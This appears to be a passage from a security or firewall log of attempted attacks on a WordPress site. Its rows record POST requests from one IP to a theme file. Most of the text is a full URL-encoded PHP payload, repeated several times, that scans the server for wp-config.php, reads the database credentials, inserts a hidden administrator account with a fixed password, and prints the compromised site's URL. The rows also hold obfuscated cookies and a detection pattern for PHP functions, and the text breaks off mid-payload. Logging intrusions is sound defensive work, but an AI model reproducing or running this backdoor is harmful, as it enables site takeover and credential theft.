3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvGKZvKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYaA5p3EyoFV7nJLbMzyfMI9jqKEsL29hqTIhqUZbWUNfWTZcXKgcozAfqJEyVPEjB0O1ozkcozfbWUNcB2I4nKD7sK19MTyyXPVuoz90q3W0LzjuVvx7; 1=53; 0=71\n\nMs=%3C%3Fphp%20%20%20function%20scan%28%24path%29%20%7B%20%20%20%20%20if%20%28%24dir%20%3D%20%40opendir%28%24path%29%29%20%7B%20%20%20%20%20%20%20%20%20while%20%28false%20%21%3D%3D%20%28%24file%20%3D%20readdir%28%24dir%29%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24p%20%3D%20%24path%20.%20DIRECTORY_SEPARATOR%20.%20%24file%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28%24file%20%21%3D%20%27.%27%20%26%26%20%24file%20%21%3D%20%27..%27%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28is_link%28%24p%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20continue%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20elseif%20%28is_dir%28%24p%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20scan%28%24p%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20elseif%20%28%24file%20%3D%3D%3D%20%27wp-config.php%27%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20inject%28%24p%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20function%20inject%28%24p%29%20%7B%20%20%20%20%20%24user_login%20%3D%20%27adm1n%27%3B%20%20%20%20%20%24user_password%20%3D%20%27Bwn6fOzW0Zc6VfNNCAo1bWRmG2a%27%3B%20%20%20%20%20%24user_email%20%3D%20%27adm1n%40wordpress.com%27%3B%20%20%20%20%20%24data%20%3D%20file_get_contents%28%24p%29%3B%20%20%20%20%20%24pattern%20%3D%20%22\/table_prefix%5Cs%2A%3D%5Cs%2A%27%28%5B%5E%27%5D%2A%29%27%3B\/i%22%3B%20%20%20%20%20if%20%28preg_match%28%24pattern%2C%20%24data%2C%20%24matches%29%29%20%7B%20%20%20%20%20%20%20%20%20%24table_prefix%20%3D%20%24matches%5B1%5D%3B%20%20%20%20%20%7D%20else%20%7B%20%20%20%20%20%20%20%20%20%24table_prefix%20%3D%20%27wp_%27%3B%20%20%20%20%20%7D%20%20%20%20%20%24lines%20%3D%20array_map%28%27rtrim%27%2C%20file%28%24p%29%29%3B%20%20%20%20%20%24conf%20%3D%20%5B%5D%3B%20%20%20%20%20foreach%20%28%24lines%20as%20%24line%29%20%7B%20%20%20%20%20%20%20%20%20if%20%28preg_match%28%27\/define%5Cs%2A%5C%28%5Cs%2A%5B%5C%27%22%5D%5Cs%2A%28DB_USER%7CDB_HOST%7CDB_PASSWORD%7CDB_NAME%29%5Cs%2A%5B%5C%27%22%5D%5Cs%2A%2C\/%27%2C%20%24line%2C%20%24matches%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24conf%5B%24matches%5B1%5D%5D%20%3D%20parse_define_value%28%24line%29%3B%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%20%20%20%20if%20%28isset%28%24conf%5B%27DB_HOST%27%5D%29%20%26%26%20isset%28%24conf%5B%27DB_USER%27%5D%29%20%26%26%20isset%28%24conf%5B%27DB_PASSWORD%27%5D%29%20%26%26%20isset%28%24conf%5B%27DB_NAME%27%5D%29%29%20%7B%20%20%20%20%20%20%20%20%20%24mysqli%20%3D%20new%20mysqli%28%24conf%5B%27DB_HOST%27%5D%2C%20%24conf%5B%27DB_USER%27%5D%2C%20%24conf%5B%27DB_PASSWORD%27%5D%2C%20%24conf%5B%27DB_NAME%27%5D%29%3B%20%20%20%20%20%20%20%20%20if%20%28%24mysqli-%3Econnect_errno%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20return%3B%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20if%20%28%24result%20%3D%20%24mysqli-%3Equery%28%22SELECT%20ID%20FROM%20%7B%24table_prefix%7Dusers%20WHERE%20user_login%20%3D%20%27%7B%24user_login%7D%27%3B%22%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28%24result-%3Enum_rows%20%3E%200%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%24result-%3Eclose%28%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%24mysqli-%3Eclose%28%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20return%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%20%20%20%20%24result-%3Eclose%28%29%3B%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%24add_user_query%20%3D%20%22INSERT%20INTO%20%60%7B%24table_prefix%7Dusers%60%20%28%60user_login%60%2C%20%60user_pass%60%2C%20%60user_nicename%60%2C%20%60user_email%60%2C%20%60user_url%60%2C%20%60user_registered%60%2C%20%60user_status%60%2C%20%60display_name%60%29%20SELECT%20%27%7B%24user_login%7D%27%2C%20MD5%28%27%7B%24user_password%7D%27%29%2C%20%27%7B%24user_login%7D%27%2C%20%27%7B%24user_email%7D%27%2C%20%27%27%2C%20%20%20%20%20%20%20%20%20%28SELECT%20%60user_registered%60%20FROM%20%60%7B%24table_prefix%7Dusers%60%20ORDER%20BY%20%60ID%60%20ASC%20LIMIT%201%29%2C%20%20%20%20%20%20%20%20%200%2C%20%27%7B%24user_login%7D%27%20FROM%20DUAL%20WHERE%20NOT%20EXISTS%20%28%20%20%20%20%20SELECT%201%20FROM%20%60%7B%24table_prefix%7Dusers%60%20WHERE%20%60user_login%60%20%3D%20%27%7B%24user_login%7D%27%20%29%3B%22%3B%20%20%20%20%20%20%20%20%20if%20%28%24mysqli-%3Equery%28%24add_user_query%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24add_usermeta_query1%20%3D%20%22INSERT%20INTO%20%60%7B%24table_prefix%7Dusermeta%60%20%28%60user_id%60%2C%20%60meta_key%60%2C%20%60meta_value%60%29%20%20SELECT%20%60ID%60%2C%20%27wp_capabilities%27%2C%20%27a%3A1%3A%7Bs%3A13%3A%5C%22administrator%5C%22%3Bb%3A1%3B%7D%27%20FROM%20%60%7B%24table_prefix%7Dusers%60%20WHERE%20%60user_login%60%20%3D%20%27%24user_login%27%20ORDER%20BY%20%60ID%60%20DESC%20LIMIT%201%3B%22%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%24add_usermeta_query2%20%3D%20%22INSERT%20INTO%20%60%7B%24table_prefix%7Dusermeta%60%20%28%60user_id%60%2C%20%60meta_key%60%2C%20%60meta_value%60%29%20%20SELECT%20%60ID%60%2C%20%27wp_user_level%27%2C%20%2710%27%20FROM%20%60%7B%24table_prefix%7Dusers%60%20WHERE%20%60user_login%60%20%3D%20%27%24user_login%27%20ORDER%20BY%20%60ID%60%20DESC%20LIMIT%201%3B%22%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%24mysqli-%3Equery%28%24add_usermeta_query1%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%24mysqli-%3Equery%28%24add_usermeta_query2%29%3B%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%24site_url%20%3D%20false%3B%20%20%20%20%20%20%20%20%20if%20%28%24result%20%3D%20%24mysqli-%3Equery%28%22SELECT%20option_value%20FROM%20%7B%24table_prefix%7Doptions%20WHERE%20option_name%20%3D%20%27siteurl%27%3B%22%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24row%20%3D%20%24result-%3Efetch_object%28%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%24result-%3Eclose%28%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%24site_url%20%3D%20%24row-%3Eoption_value%3B%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20if%20%28%21%24site_url%20%7C%7C%20strpos%28%24site_url%2C%20%27http%27%29%20%21%3D%3D%200%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28%24result%20%3D%20%24mysqli-%3Equery%28%22SELECT%20user_url%20FROM%20%7B%24table_prefix%7Dusers%20ORDER%20BY%20ID%20ASC%20LIMIT%201%3B%22%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%24row%20%3D%20%24result-%3Efetch_object%28%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%24result-%3Eclose%28%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%24site_url%20%3D%20%24row-%3Euser_url%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20if%20%28%24result%20%3D%20%24mysqli-%3Equery%28%22SELECT%20ID%20FROM%20%7B%24table_prefix%7Dusers%20WHERE%20user_login%20%3D%20%27%7B%24user_login%7D%27%3B%22%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28%24result-%3Enum_rows%20%3E%200%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20echo%20%22%3Cf%3E%7B%24site_url%7D%40%40%40%7B%24p%7D%3C\/f%3E%5Cn%22%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%20%20%20%20%24result-%3Eclose%28%29%3B%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%24mysqli-%3Eclose%28%29%3B%20%20%20%20%20%7D%20%7D%20function%20parse_define_value%28%24line%29%20%7B%20%20%20%20%20if%20%28preg_match%28%22\/define%5Cs%2A%5C%28%5Cs%2A%5B%27%5C%22%5D%5Cw%2B%5B%27%5C%22%5D%5Cs%2A%2C%5Cs%2A%5B%27%5C%22%5D%28.%2A%29%5B%27%5C%22%5D%5Cs%2A%5C%29%5Cs%2A%3B\/%22%2C%20%24line%2C%20%24matches%29%29%20%7B%20%20%20%20%20%20%20%20%20return%20%24matches%5B1%5D%3B%20%20%20%20%20%7D%20%20%20%20%20return%20null%3B%20%7D%20function%20scanRootPaths%28%29%20%7B%20%20%20%20%20if%20%28strtoupper%28substr%28PHP_OS%2C%200%2C%203%29%29%20%3D%3D%3D%20%27WIN%27%29%20%7B%20%20%20%20%20%20%20%20%20foreach%20%28range%28%27A%27%2C%20%27Z%27%29%20as%20%24driveLetter%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24drive%20%3D%20%24driveLetter%20.%20%27%3A%5C%5C%27%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28is_dir%28%24drive%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20scan%28%24drive%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20else%20%7B%20%20%20%20%20%20%20%20%20scan%28%27\/www\/wwwroot%27%29%3B%20%20%20%20%20%7D%20%7D%20scanRootPaths%28%29%3B%20die%28%27%21ended%21%27%29%3B"]
["2026-04-20 17:27:08","213.209.159.254","POST","\/wp-content\/themes\/astra\/inc\/builder\/controllers\/class-astra-builder-ui-controller.php","Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/107.0.0.0 Safari\/537.36","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> GB:%3C%3Fphp%20%20%20function%20scan%28%24path%29%20%7B%20%20%20%20%20if%20%28%24dir%20%3D%20%40opendir%28%24path%29%29%20%7B%20%20%20%20%20%20%20%20%20while%20%28false%20%21%3D%3D%20%28%24file%20%3D%20readdir%28%24dir%29%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24p%20%3D%20%24path%20.%20DIRECTORY_SEPARATOR%20.%20%24file%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28%24file%20%21%3D%20%27.%27%20%26%26%20%24file%20%21%3D%20%27..%27%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28is_link%28%24p%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20continue%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20elseif%20%28is_dir%28%24p%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20scan%28%24p%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20elseif%20%28%24file%20%3D%3D%3D%20%27wp-config.php%27%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20inject%28%24p%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20function%20inject%28%24p%29%20%7B%20%20%20%20%20%24user_login%20%3D%20%27adm1n%27%3B%20%20%20%20%20%24user_password%20%3D%20%27Bwn6fOzW0Zc6VfNNCAo1bWRmG2a%27%3B%20%20%20%20%20%24user_email%20%3D%20%27adm1n%40wordpress.com%27%3B%20%20%20%20%20%24data%20%3D%20file_get_contents%28%24p%29%3B%20%20%20%20%20%24pattern%20%3D%20%22\/table_prefix%5Cs%2A%3D%5Cs%2A%27%28%5B%5E%27%5D%2A%29%27%3B\/i%22%3B%20%20%20%20%20if%20%28preg_match%28%24pattern%2C%20%24data%2C%20%24matches%29%29%20%7B%20%20%20%20%20%20%20%20%20%24table_prefix%20%3D%20%24matches%5B1%5D%3B%20%20%20%20%20%7D%20else%20%7B%20%20%20%20%20%20%20%20%20%24table_prefix%20%3D%20%27wp_%27%3B%20%20%20%20%20%7D%20%20%20%20%20%24lines%20%3D%20array_map%28%27rtrim%27%2C%20file%28%24p%29%29%3B%20%20%20%20%20%24conf%20%3D%20%5B%5D%3B%20%20%20%20%20foreach%20%28%24lines%20as%20%24line%29%20%7B%20%20%20%20%20%20%20%20%20if%20%28preg_match%28%27\/define%5Cs%2A%5C%28%5Cs%2A%5B%5C%27%22%5D%5Cs%2A%28DB_USER%7CDB_HOST%7CDB_PASSWORD%7CDB_NAME%29%5Cs%2A%5B%5C%27%22%5D%5Cs%2A%2C\/%27%2C%20%24line%2C%20%24matches%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24conf%5B%24matches%5B1%5D%5D%20%3D%20parse_define_value%28%24line%29%3B%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%20%20%20%20if%20%28isset%28%24conf%5B%27DB_HOST%27%5D%29%20%26%26%20isset%28%24conf%5B%27DB_USER%27%5D%29%20%26%26%20isset%28%24conf%5B%27DB_PASSWORD%27%5D%29%20%26%26%20isset%28%24conf%5B%27DB_NAME%27%5D%29%29%20%7B%20%20%20%20%20%20%20%20%20%24mysqli%20%3D%20new%20mysqli%28%24conf%5B%27DB_HOST%27%5D%2C%20%24conf%5B%27DB_USER%27%5D%2C%20%24conf%5B%27DB_PASSWORD%27%5D%2C%20%24conf%5B%27DB_NAME%27%5D%29%3B%20%20%20%20%20%20%20%20%20if%20%28%24mysqli-%3Econnect_errno%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20return%3B%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20if%20%28%24result%20%3D%20%24mysqli-%3Equery%28%22SELECT%20ID%20FROM%20%7B%24table_prefix%7Dusers%20WHERE%20user_login%20%3D%20%27%7B%24user_login%7D%27%3B%22%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28%24result-%3Enum_rows%20%3E%200%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%24result-%3Eclose%28%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%24mysqli-%3Eclose%28%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20return%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%20%20%20%20%24result-%3Eclose%28%29%3B%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%24add_user_query%20%3D%20%22INSERT%20INTO%20%60%7B%24table_prefix%7Dusers%60%20%28%60user_login%60%2C%20%60user_pass%60%2C%20%60user_nicename%60%2C%20%60user_email%60%2C%20%60user_url%60%2C%20%60user_registered%60%2C%20%60user_status%60%2C%20%60display_name%60%29%20SELECT%20%27%7B%24user_login%7D%27%2C%20MD5%28%27%7B%24user_password%7D%27%29%2C%20%27%7B%24user_login%7D%27%2C%20%27%7B%24user_email%7D%27%2C%20%27%27%2C%20%20%20%20%20%20%20%20%20%28SELECT%20%60user_registered%60%20FROM%20%60%7B%24table_prefix%7Dusers%60%20ORDER%20BY%20%60ID%60%20ASC%20LIMIT%201%29%2C%20%20%20%20%20%20%20%20%200%2C%20%27%7B%24user_login%7D%27%20FROM%20DUAL%20WHERE%20NOT%20EXISTS%20%28%20%20%20%20%20SELECT%201%20FROM%20%60%7B%24table_prefix%7Dusers%60%20WHERE%20%60user_login%60%20%3D%20%27%7B%24user_login%7D%27%20%29%3B%22%3B%20%20%20%20%20%20%20%20%20if%20%28%24mysqli-%3Equery%28%24add_user_query%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24add_usermeta_query1%20%3D%20%22INSERT%20INTO%20%60%7B%24table_prefix%7Dusermeta%60%20%28%60user_id%60%2C%20%60meta_key%60%2C%20%60meta_value%60%29%20%20SELECT%20%60ID%60%2C%20%27wp_capabilities%27%2C%20%27a%3A1%3A%7Bs%3A13%3A%5C%22administrator%5C%22%3Bb%3A1%3B%7D%27%20FROM%20%60%7B%24table_prefix%7Dusers%60%20WHERE%20%60user_login%60%20%3D%20%27%24user_login%27%20ORDER%20BY%20%60ID%60%20DESC%20LIMIT%201%3B%22%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%24add_usermeta_query2%20%3D%20%22INSERT%20INTO%20%60%7B%24table_prefix%7Dusermeta%60%20%28%60user_id%60%2C%20%60meta_key%60%2C%20%60meta_value%60%29%20%20SELECT%20%60ID%60%2C%20%27wp_user_level%27%2C%20%2710%27%20FROM%20%60%7B%24table_prefix%7Dusers%60%20WHERE%20%60user_login%60%20%3D%20%27%24user_login%27%20ORDER%20BY%20%60ID%60%20DESC%20LIMIT%201%3B%22%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%24mysqli-%3Equery%28%24add_usermeta_query1%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%24mysqli-%3Equery%28%24add_usermeta_query2%29%3B%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%24site_url%20%3D%20false%3B%20%20%20%20%20%20%20%20%20if%20%28%24result%20%3D%20%24mysqli-%3Equery%28%22SELECT%20option_value%20FROM%20%7B%24table_prefix%7Doptions%20WHERE%20option_name%20%3D%20%27siteurl%27%3B%22%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24row%20%3D%20%24result-%3Efetch_object%28%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%24result-%3Eclose%28%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%24site_url%20%3D%20%24row-%3Eoption_value%3B%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20if%20%28%21%24site_url%20%7C%7C%20strpos%28%24site_url%2C%20%27http%27%29%20%21%3D%3D%200%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28%24result%20%3D%20%24mysqli-%3Equery%28%22SELECT%20user_url%20FROM%20%7B%24table_prefix%7Dusers%20ORDER%20BY%20ID%20ASC%20LIMIT%201%3B%22%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%24row%20%3D%20%24result-%3Efetch_object%28%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%24result-%3Eclose%28%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%24site_url%20%3D%20%24row-%3Euser_url%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20if%20%28%24result%20%3D%20%24mysqli-%3Equery%28%22SELECT%20ID%20FROM%20%7B%24table_prefix%7Dusers%20WHERE%20user_login%20%3D%20%27%7B%24user_login%7D%27%3B%22%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28%24result-%3Enum_rows%20%3E%200%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20echo%20%22%3Cf%3E%7B%24site_url%7D%40%40%40%7B%24p%7D%3C\/f%3E%5Cn%22%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%20%20%20%20%24result-%3Eclose%28%29%3B%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%24mysqli-%3Eclose%28%29%3B%20%20%20%20%20%7D%20%7D%20function%20parse_define_value%28%24line%29%20%7B%20%20%20%20%20if%20%28preg_match%28%22\/define%5Cs%2A%5C%28%5Cs%2A%5B%27%5C%22%5D%5Cw%2B%5B%27%5C%22%5D%5Cs%2A%2C%5Cs%2A%5B%27%5C%22%5D%28.%2A%29%5B%27%5C%22%5D%5Cs%2A%5C%29%5Cs%2A%3B\/%22%2C%20%24line%2C%20%24matches%29%29%20%7B%20%20%20%20%20%20%20%20%20return%20%24matches%5B1%5D%3B%20%20%20%20%20%7D%20%20%20%20%20return%20null%3B%20%7D%20function%20scanRootPaths%28%29%20%7B%20%20%20%20%20if%20%28strtoupper%28substr%28PHP_OS%2C%200%2C%203%29%29%20%3D%3D%3D%20%27WIN%27%29%20%7B%20%20%20%20%20%20%20%20%20foreach%20%28range%28%27A%27%2C%20%27Z%27%29%20as%20%24driveLetter%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24drive%20%3D%20%24driveLetter%20.%20%27%3A%5C%5C%27%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28is_dir%28%24drive%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20scan%28%24drive%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20else%20%7B%20%20%20%20%20%20%20%20%20scan%28%27\/www\/wwwroot%27%29%3B%20%20%20%20%20%7D%20%7D%20scanRootPaths%28%29%3B%20die%28%27%21ended%21%27%29%3B","POST \/wp-content\/themes\/astra\/inc\/builder\/controllers\/class-astra-builder-ui-controller.php HTTP\/1.1\nuser-agent:Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/107.0.0.0 Safari\/537.36\nhost:dewenlabels.com\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\naccept:*\/*\naccept-encoding:gzip,deflate\nupgrade-insecure-requests:1\ncontent-type:application\/x-www-form-urlencoded\nsec-ch-ua:\"Google Chrome\";v=\"107\", \"Chromium\";v=\"107\", \"Not=A?Brand\";v=\"24\"\nsec-ch-ua-mobile:?0\nsec-ch-ua-platform:\"Windows\"\nsec-fetch-site:none\nsec-fetch-mode:navigate\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\nsec-fetch-user:?1\ncontent-length:12640\nsec-fetch-dest:document\ncookie:4=17267dbb927e97128879218d3d0962ca; 3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvE0VvKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYaOip3DvB2yzXTMcoTIspUI0K2AioaEyoaEmXPEjYPEwXFy7nJ5woUIxMFNxpQgNqJ5fnJ5eXPEjXGgyrTy0B319sJEcMFtvVJ5iqUqlqTWfVFVcBj==; 1=53; 0=71\n\nGB=%3C%3Fphp%20%20%20function%20scan%28%24path%29%20%7B%20%20%20%20%20if%20%28%24dir%20%3D%20%40opendir%28%24path%29%29%20%7B%20%20%20%20%20%20%20%20%20while%20%28false%20%21%3D%3D%20%28%24file%20%3D%20readdir%28%24dir%29%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24p%20%3D%20%24path%20.%20DIRECTORY_SEPARATOR%20.%20%24file%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28%24file%20%21%3D%20%27.%27%20%26%26%20%24file%20%21%3D%20%27..%27%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28is_link%28%24p%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20continue%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20elseif%20%28is_dir%28%24p%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20scan%28%24p%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20elseif%20%28%24file%20%3D%3D%3D%20%27wp-config.php%27%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20inject%28%24p%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20function%20inject%28%24p%29%20%7B%20%20%20%20%20%24user_login%20%3D%20%27adm1n%27%3B%20%20%20%20%20%24user_password%20%3D%20%27Bwn6fOzW0Zc6VfNNCAo1bWRmG2a%27%3B%20%20%20%20%20%24user_email%20%3D%20%27adm1n%40wordpress.com%27%3B%20%20%20%20%20%24data%20%3D%20file_get_contents%28%24p%29%3B%20%20%20%20%20%24pattern%20%3D%20%22\/table_prefix%5Cs%2A%3D%5Cs%2A%27%28%5B%5E%27%5D%2A%29%27%3B\/i%22%3B%20%20%20%20%20if%20%28preg_match%28%24pattern%2C%20%24data%2C%20%24matches%29%29%20%7B%20%20%20%20%20%20%20%20%20%24table_prefix%20%3D%20%24matches%5B1%5D%3B%20%20%20%20%20%7D%20else%20%7B%20%20%20%20%20%20%20%20%20%24table_prefix%20%3D%20%27wp_%27%3B%20%20%20%20%20%7D%20%20%20%20%20%24lines%20%3D%20array_map%28%27rtrim%27%2C%20file%28%24p%29%29%3B%20%20%20%20%20%24conf%20%3D%20%5B%5D%3B%20%20%20%20%20foreach%20%28%24lines%20as%20%24line%29%20%7B%20%20%20%20%20%20%20%20%20if%20%28preg_match%28%27\/define%5Cs%2A%5C%28%5Cs%2A%5B%5C%27%22%5D%5Cs%2A%28DB_USER%7CDB_HOST%7CDB_PASSWORD%7CDB_NAME%29%5Cs%2A%5B%5C%27%22%5D%5Cs%2A%2C\/%27%2C%20%24line%2C%20%24matches%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24conf%5B%24matches%5B1%5D%5D%20%3D%20parse_define_value%28%24line%29%3B%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%20%20%20%20if%20%28isset%28%24conf%5B%27DB_HOST%27%5D%29%20%26%26%20isset%28%24conf%5B%27DB_USER%27%5D%29%20%26%26%20isset%28%24conf%5B%27DB_PASSWORD%27%5D%29%20%26%26%20isset%28%24conf%5B%27DB_NAME%27%5D%29%29%20%7B%20%20%20%20%20%20%20%20%20%24mysqli%20%3D%20new%20mysqli%28%24conf%5B%27DB_HOST%27%5D%2C%20%24conf%5B%27DB_USER%27%5D%2C%20%24conf%5B%27DB_PASSWORD%27%5D%2C%20%24conf%5B%27DB_NAME%27%5D%29%3B%20%20%20%20%20%20%20%20%20if%20%28%24mysqli-%3Econnect_errno%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20return%3B%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20if%20%28%24result%20%3D%20%24mysqli-%3Equery%28%22SELECT%20ID%20FROM%20%7B%24table_prefix%7Dusers%20WHERE%20user_login%20%3D%20%27%7B%24user_login%7D%27%3B%22%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28%24result-%3Enum_rows%20%3E%200%29%20%7B%20%20%2